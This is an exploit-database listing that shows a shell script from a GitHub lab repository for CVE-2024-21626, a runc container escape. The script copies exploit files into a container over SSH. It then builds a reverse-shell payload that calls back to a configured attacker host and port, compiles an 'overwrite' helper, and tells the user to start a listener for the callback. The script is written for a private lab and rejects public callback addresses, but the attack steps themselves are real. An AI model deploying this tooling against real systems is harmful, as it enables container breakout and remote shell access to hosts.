Exploit database

GH-49753b08fbcec64093787273ddec5dd7

rnw29/cve-2024-21626-runc-lab

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-21626

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
rnw29/cve-2024-21626-runc-labRevision d33f0f7f8fe9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

kali/upload-lab.sh

Shell · 4,828 bytes
#!/usr/bin/env bash
set -euo pipefail

TARGET_HOST="${1:-}"
LAB_USER='customer'
SSH_PORT="${2:-2222}"
PHASE="${3:-attack2}"
REMOTE_DIR='cve-2024-21626-lab'
SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
ROOT="$(cd -- "${SCRIPT_DIR}/.." && pwd)"
CALLBACK_HOST="${ATTACK3B_CALLBACK_HOST:-}"
CALLBACK_PORT="${ATTACK3B_CALLBACK_PORT:-4455}"

usage() {
    cat <<USAGE
Usage: $0 <ubuntu-host-ip> [container-ssh-port] [attack2|attack3b|all]

For attack3b/all, set:
  ATTACK3B_CALLBACK_HOST=<Kali RFC1918/loopback IPv4>
  ATTACK3B_CALLBACK_PORT=<1024-65535>   # default: 4455
USAGE
}

valid_private_ipv4() {
    local ip="$1" a b c d
    IFS=. read -r a b c d <<<"${ip}" || return 1
    [[ -n "${a:-}" && -n "${b:-}" && -n "${c:-}" && -n "${d:-}" ]] || return 1
    for octet in "$a" "$b" "$c" "$d"; do
        [[ "${octet}" =~ ^[0-9]{1,3}$ ]] || return 1
        ((10#${octet} >= 0 && 10#${octet} <= 255)) || return 1
    done
    ((10#${a} == 10)) && return 0
    ((10#${a} == 127)) && return 0
    ((10#${a} == 192 && 10#${b} == 168)) && return 0
    ((10#${a} == 172 && 10#${b} >= 16 && 10#${b} <= 31)) && return 0
    return 1
}

if [[ -z "${TARGET_HOST}" ||
      ! "${TARGET_HOST}" =~ ^[A-Za-z0-9][A-Za-z0-9._:-]*$ ||
      ! "${SSH_PORT}" =~ ^[0-9]+$ ]]; then
    usage >&2
    exit 2
fi
case "${PHASE}" in
    attack2|attack3b|all) ;;
    *)
        printf '[-] Phase must be attack2, attack3b, or all.\n' >&2
        exit 2
        ;;
esac

if [[ "${PHASE}" == 'attack3b' || "${PHASE}" == 'all' ]]; then
    [[ -n "${CALLBACK_HOST}" ]] || {
        printf '[-] ATTACK3B_CALLBACK_HOST is required for %s.\n' "${PHASE}" >&2
        usage >&2
        exit 2
    }
    valid_private_ipv4 "${CALLBACK_HOST}" || {
        printf '[-] ATTACK3B_CALLBACK_HOST must be an RFC1918 or loopback IPv4 address.\n' >&2
        exit 2
    }
    [[ "${CALLBACK_PORT}" =~ ^[0-9]+$ ]] &&
        ((CALLBACK_PORT >= 1024 && CALLBACK_PORT <= 65535)) || {
        printf '[-] ATTACK3B_CALLBACK_PORT must be from 1024 to 65535.\n' >&2
        exit 2
    }
fi

command -v ssh >/dev/null 2>&1 || { printf '[-] ssh is required.\n' >&2; exit 1; }
command -v scp >/dev/null 2>&1 || { printf '[-] scp is required.\n' >&2; exit 1; }

DESTINATION="${LAB_USER}@${TARGET_HOST}"
A2_FILES=(
    "${ROOT}/container/make-attack2-cwd.sh"
    "${ROOT}/container/attack2-auto.sh"
    "${ROOT}/container/attack2-shell.py"
)
A3_FILES=(
    "${ROOT}/container/make-attack3b-trigger.sh"
    "${ROOT}/container/attack3b-auto.sh"
    "${ROOT}/container/build-attack3b-payload.sh"
    "${ROOT}/container/attack3b-overwrite.c"
    "${ROOT}/container/attack3b-payload.c"
)
FILES=()
case "${PHASE}" in
    attack2) FILES=("${A2_FILES[@]}") ;;
    attack3b) FILES=("${A3_FILES[@]}") ;;
    all) FILES=("${A2_FILES[@]}" "${A3_FILES[@]}") ;;
esac

printf '[*] Creating container workspace through SSH...\n'
ssh -p "${SSH_PORT}" "${DESTINATION}" "mkdir -p '${REMOTE_DIR}'"

if [[ "${PHASE}" == 'attack2' ]]; then
    printf '[*] Removing any earlier Attack 3b tooling from the container workspace...\n'
    ssh -p "${SSH_PORT}" "${DESTINATION}" \
        "rm -f -- '${REMOTE_DIR}/make-attack3b-trigger.sh' '${REMOTE_DIR}/attack3b-auto.sh' '${REMOTE_DIR}/build-attack3b-payload.sh' '${REMOTE_DIR}/attack3b-overwrite.c' '${REMOTE_DIR}/attack3b-overwrite' '${REMOTE_DIR}/attack3b-payload.c' '${REMOTE_DIR}/attack3b-payload' '${REMOTE_DIR}/attack3b-payload.sh'"
else
    printf '[*] Removing stale compiled Attack 3b payloads...\n'
    ssh -p "${SSH_PORT}" "${DESTINATION}" \
        "rm -f -- '${REMOTE_DIR}/attack3b-payload' '${REMOTE_DIR}/attack3b-payload.sh'"
fi

printf '[*] Uploading the %s container-side files...\n' "${PHASE}"
scp -P "${SSH_PORT}" "${FILES[@]}" "${DESTINATION}:${REMOTE_DIR}/"

printf '[*] Applying container-side file modes...\n'
ssh -p "${SSH_PORT}" "${DESTINATION}" '
set -e
cd "$HOME/cve-2024-21626-lab"
chmod +x ./*.sh
printf "[+] Uploaded files:\n"
ls -l
'

if [[ "${PHASE}" == 'attack3b' || "${PHASE}" == 'all' ]]; then
    printf '[*] Building the reverse-shell payload for %s:%s and fixed-target overwrite helper...\n' \
        "${CALLBACK_HOST}" "${CALLBACK_PORT}"
    ssh -p "${SSH_PORT}" "${DESTINATION}" \
        "set -e; cd '$REMOTE_DIR'; CALLBACK_HOST='$CALLBACK_HOST' CALLBACK_PORT='$CALLBACK_PORT' ./build-attack3b-payload.sh; gcc -std=c11 -O2 -Wall -Wextra -Werror -o attack3b-overwrite attack3b-overwrite.c"
fi

printf '[+] %s upload completed.\n' "${PHASE}"
printf '[+] Connect with: ssh -p %s %s\n' "${SSH_PORT}" "${DESTINATION}"
if [[ "${PHASE}" == 'attack3b' || "${PHASE}" == 'all' ]]; then
    printf '[+] Attack 3b callback configured for %s:%s. Start the listener before running Attack 3b; the already-running host diagnostic will call back on a later cycle.\n' \
        "${CALLBACK_HOST}" "${CALLBACK_PORT}"
fi